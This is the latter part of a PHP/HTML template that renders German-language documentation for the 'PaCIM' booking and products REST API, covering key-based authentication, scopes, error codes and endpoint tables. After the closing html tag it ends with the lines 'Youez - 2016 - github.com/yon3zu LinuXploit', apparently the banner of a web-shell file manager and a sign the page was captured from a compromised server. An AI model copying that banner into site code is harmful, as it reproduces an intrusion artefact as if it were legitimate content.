.scopes tr:last-child td{border-bottom:0}
.scopes code{background:#eef3f9;color:var(--primary);padding:2px 7px;border-radius:6px;font-size:12.5px;white-space:nowrap}
.grp-title{font-size:13px;text-transform:uppercase;letter-spacing:.6px;color:var(--muted);font-weight:700;margin:26px 0 10px}
.endpoint{scroll-margin-top:20px}
.ep-head{display:flex;align-items:center;gap:12px;flex-wrap:wrap}
.ep-path{font-family:ui-monospace,monospace;font-size:14px;font-weight:600;color:var(--ink)}
.ep-scope{margin-left:auto;font-size:11.5px;background:#eef3f9;color:var(--primary);border:1px solid #d9e4f0;border-radius:999px;padding:3px 11px;font-weight:600;white-space:nowrap}
.ep-desc{color:#3a4a5e;margin:12px 0 6px}
.params{width:100%;border-collapse:collapse;margin:10px 0 4px;font-size:13.5px}
.params th{text-align:left;color:var(--muted);font-weight:600;font-size:12px;text-transform:uppercase;letter-spacing:.3px;padding:6px 10px;border-bottom:2px solid var(--line)}
.params td{padding:7px 10px;border-bottom:1px solid var(--line);vertical-align:top}
.params td:first-child{font-family:ui-monospace,monospace;color:var(--primary);white-space:nowrap}
.params .req{color:#b5294a;font-weight:700} .params .opt{color:var(--muted)}
.codeblk{position:relative;background:var(--code);color:#e6edf6;border-radius:10px;padding:14px 16px;overflow:auto;font-family:ui-monospace,monospace;font-size:12.5px;line-height:1.55;margin:8px 0}
.codeblk .lbl{position:absolute;top:8px;right:12px;font-size:10px;letter-spacing:.5px;text-transform:uppercase;color:#7d93ad}
.codeblk pre{margin:0;white-space:pre}
.cols{display:grid;grid-template-columns:1fr 1fr;gap:14px;margin-top:6px}
@media(max-width:880px){.layout{grid-template-columns:1fr}.nav{display:none}.cols{grid-template-columns:1fr}}
.foot{max-width:1180px;margin:0 auto;padding:10px 28px 40px;color:var(--muted);font-size:13px}
</style>
</head>
<body>
<div class="topbar"><div class="wrap">
  <h1>PaCIM API</h1>
  <p>Schlüsselbasierte REST-API für Buchungen, Schiffe/Termine und Produkte/Preise.</p>
  <div class="base">Basis-URL:&nbsp; <strong><?php echo h( $BASE ); ?></strong></div>
</div></div>

<div class="layout">
  <nav class="nav">
    <div class="grp">Einführung</div>
    <a href="#auth"><span>Authentifizierung</span></a>
    <a href="#scopes"><span>Berechtigungen</span></a>
    <a href="#errors"><span>Antworten &amp; Fehler</span></a>
    <?php foreach ( $groups as $gname => $eps ): ?>
      <div class="grp"><?php echo h( $gname ); ?></div>
      <?php foreach ( $eps as $e ): ?>
        <a href="#<?php echo slug( $e[1], $e[2] ); ?>"><span class="badge <?php echo $e[0]; ?>"><?php echo $e[0]; ?></span> <span><?php echo h( $e[1] . '/' . $e[2] ); ?></span></a>
      <?php endforeach; ?>
    <?php endforeach; ?>
  </nav>

  <main>
    <section class="intro" id="auth">
      <h2>Authentifizierung</h2>
      <p>Jede Anfrage benötigt einen API-Schlüssel. Verwalte Schlüssel im Backend unter <strong>Einstellungen → API</strong>. Der Klartext-Schlüssel wird nur einmal bei der Erstellung angezeigt.</p>
      <p>Übergib den Schlüssel per Header (empfohlen):</p>
      <div class="codeblk"><span class="lbl">Header</span><pre>Authorization: Bearer pak_xxxxxxxxxxxxxxxxxxxxxxxx</pre></div>
      <p>Alternativ: Header <code>X-API-Key: pak_…</code> oder Query-Parameter <code>?api_key=pak_…</code>.</p>
    </section>

    <section class="intro" id="scopes">
      <h2>Berechtigungen (Scopes)</h2>
      <p>Jeder Schlüssel besitzt eine oder mehrere Berechtigungen. Fehlt die nötige Berechtigung, antwortet die API mit <code>403</code>.</p>
      <table class="scopes">
        <?php foreach ( $SCOPES as $key => $desc ): ?>
          <tr><td><code><?php echo h( $key ); ?></code></td><td><?php echo h( $desc ); ?></td></tr>
        <?php endforeach; ?>
      </table>
    </section>

    <section class="intro" id="errors">
      <h2>Antworten &amp; Fehler</h2>
      <p>Antworten sind JSON und enthalten stets ein <code>ok</code>-Flag (Ausnahme: <code>booking/file</code> liefert ein PDF). Fehler enthalten zusätzlich <code>error</code>.</p>
      <div class="cols">
        <div class="codeblk"><span class="lbl">Erfolg</span><pre>{ "ok": true, … }</pre></div>
        <div class="codeblk"><span class="lbl">Fehler</span><pre>{ "ok": false, "error": "…" }</pre></div>
      </div>
      <table class="params" style="margin-top:14px">
        <tr><th>Status</th><th>Bedeutung</th></tr>
        <tr><td>200</td><td>OK</td></tr>
        <tr><td>400</td><td>Ungültige/fehlende Parameter</td></tr>
        <tr><td>401</td><td>Schlüssel fehlt oder ungültig</td></tr>
        <tr><td>403</td><td>Fehlende Berechtigung (Scope)</td></tr>
        <tr><td>404</td><td>Ressource/Aktion nicht gefunden</td></tr>
        <tr><td>405</td><td>Falsche HTTP-Methode</td></tr>
        <tr><td>422</td><td>Verarbeitung fehlgeschlagen (z. B. Validierung)</td></tr>
      </table>
    </section>

    <?php foreach ( $groups as $gname => $eps ): ?>
      <div class="grp-title"><?php echo h( $gname ); ?></div>
      <?php foreach ( $eps as $e ):
        list( $method, $res, $act, $scope, $desc, $params, $req, $resp ) = $e; ?>
        <section class="endpoint" id="<?php echo slug( $res, $act ); ?>">
          <div class="ep-head">
            <span class="badge <?php echo $method; ?>"><?php echo $method; ?></span>
            <span class="ep-path">/api.php?resource=<?php echo h( $res ); ?>&amp;action=<?php echo h( $act ); ?></span>
            <span class="ep-scope"><?php echo h( $scope ); ?></span>
          </div>
          <p class="ep-desc"><?php echo h( $desc ); ?></p>
          <?php if ( count( $params ) ): ?>
            <table class="params">
              <tr><th>Parameter</th><th>Typ</th><th>Pflicht</th><th>Beschreibung</th></tr>
              <?php foreach ( $params as $p ): ?>
                <tr>
                  <td><?php echo h( $p[0] ); ?></td>
                  <td><?php echo h( $p[1] ); ?></td>
                  <td class="<?php echo ( stripos( $p[2], 'ja' ) === 0 ) ? 'req' : 'opt'; ?>"><?php echo h( $p[2] ); ?></td>
                  <td><?php echo h( $p[3] ); ?></td>
                </tr>
              <?php endforeach; ?>
            </table>
          <?php endif; ?>
          <div class="cols">
            <div class="codeblk"><span class="lbl">Beispiel-Anfrage</span><pre><?php echo h( $req ); ?></pre></div>
            <div class="codeblk"><span class="lbl">Antwort</span><pre><?php echo h( $resp ); ?></pre></div>
          </div>
        </section>
      <?php endforeach; ?>
    <?php endforeach; ?>
  </main>
</div>
<div class="foot">PaCIM · <?php echo h( defined('SITE_URL') ? parse_url( SITE_URL, PHP_URL_HOST ) : '' ); ?> · API-Dokumentation</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit